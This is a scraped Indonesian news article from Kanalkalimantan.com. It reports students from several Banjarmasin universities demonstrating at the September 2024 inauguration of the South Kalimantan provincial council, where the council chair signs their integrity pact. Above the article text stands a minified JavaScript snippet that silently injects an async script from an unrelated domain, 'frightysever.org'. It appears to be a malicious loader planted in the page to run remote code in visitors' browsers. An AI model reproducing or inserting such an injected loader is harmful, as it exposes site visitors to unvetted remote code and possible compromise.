(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pelantikan 55 Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Kalimantan Selatan (Kalsel) periode 2024-2029 langsung disambut demonstrasi mahasiswa, Senin (9/9/2024) siang.
Bersamaan saat prosesi pengambilan sumpah jabatan di Rumah Banjar -sebutan gedung DPRD Kalsel- didatangi oleh puluhan mahasiswa.
Sekitar 40 mahasiswa mengenakan almamater sejumlah perguruan tinggi ngluruk ke depan gedung DPRD Kalsel, Jalan Lambung Mangkurat Kota Banjarmasin.
Mereka dari Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia Kalsel dari berbagai perguruan tinggi, diantaranya Universitas Lambung Mangkurat (ULM), Universitas Islam Negeri (UIN) Antasari Banjarmasin, Uniska Banjarmasin.
Baca juga: Dinas PUPRP Banjar Yakini Jembatan Pejambuan – Lokbaintan Selesai Tepat Waktu
Saat unjuk rasa mahasiswa menggelar tiga buah spanduk yang ditulis tangan. Bertuliskan “Sumpah Jabatan Sekedar Ucapan!!”, “PR Kalsel Masih Banyak”, “PR DPR Masih Banyak”.
Koordinator aksi, Muhammad Syamsu Rizal mengatakan, mereka membawa sejumlah aspirasi yang dituangkan dalam bentuk fakta integritas, ditujukan kepada seluruh anggota DPRD Kalsel yang dilantik hari ini.
Isi fakta integritas disebutkan Rizal salah satunya memuat poin komitmen DPRD Kalsel untuk selalu menghadirkan ketua atau pimpinan dalam setiap forum atau saat ada penyampaian aspirasi yang mengatasnamakan rakyat.
Baca juga: Tak Bisa Bedakan Mana Warung Mana Ballroom
“Agar anggota dewan menyikapi turun ke jalan setiap kali ada aksi demontrasi dari mahasiswa maupun masyarakat,” kata Rizal.
Kemudian, seluruh anggota dewan yang dilantik diminta menjakanakan fungsi dan menjujung tinggi prinsip integritas, kejujuran dan transparan.
Melibatkan mahasiswa dan partisipasi publik, Prolekda pro kepentingan masyarakat, hingga melaksanakan tugas penuh integritas dengan tidak akan menyalahgunakan dengan korupsi, kolusi serta bersikap adil dan jujur.
“Hari ini kami demonstrasi, maka lima tahun kedepan fakta integritas ini akan selalu kami bawa,” kata Rizal yang juga Ketua BEM ULM ini.
Saat unjuk rasa, mahasiswa juga menyerahkan simbol berupa pengorek kuping, obat tetes air mata, tolak angin, dan korek api kepada pimpinan DPRD Kalsel.
Baca juga: Kasus Korupsi di Dinsos HST, Kuasa Hukum Berencana Ajukan Praperadilan
Pengorek kuping atau cottonbud dimaksudkan agar anggota dewan tidak tutup telinga dengan aspirasi yang disampaikan rakyat, kemudian obat tetas mata agar melihat kesengsaraan rakyat, tolak angin agar tidak ‘masuk angin’.
“Kalau korek api, maksudnya kami akan selalu memberikan api-api perjuangan” ujar Rizal.
Ketua DPRD Kalsel Supian HK yang turun langsung menemui mahasiswa mengatakan sependapat dengan fakta integritas yang disampaikan mahasiswa.
“Saya sependapat, (fakta integritas) ini sesusai sumpah jabatan kami. Kami terima dengan hormat, saya siap menandatangani,” ujar Supian HK di depan mahasiswa.
Baca juga: Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha
Dengan masih mengenakan setelan jas usai pelantikan, Supian HK didampingi beberapa anggota dewan yang baru dilantik menandantangani fakta integritas yang disodorkan mahasiswa.
Aksi penyampaian pendapat di depan gedung DPRD Kalsel dijaga oleh aparat gabungan kepolisian dari Polres dan Polda Kalsel.
Selama aksi berlangsung, dua buah water cannon mobil pengurai massa Polres Banjarmasin disiagakan.
Arus lalu lintas Jalan Lambung Mangkurat sekitar gedung DPRD Kalsel sempat dialihkan saat aksi berlangsung.
(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.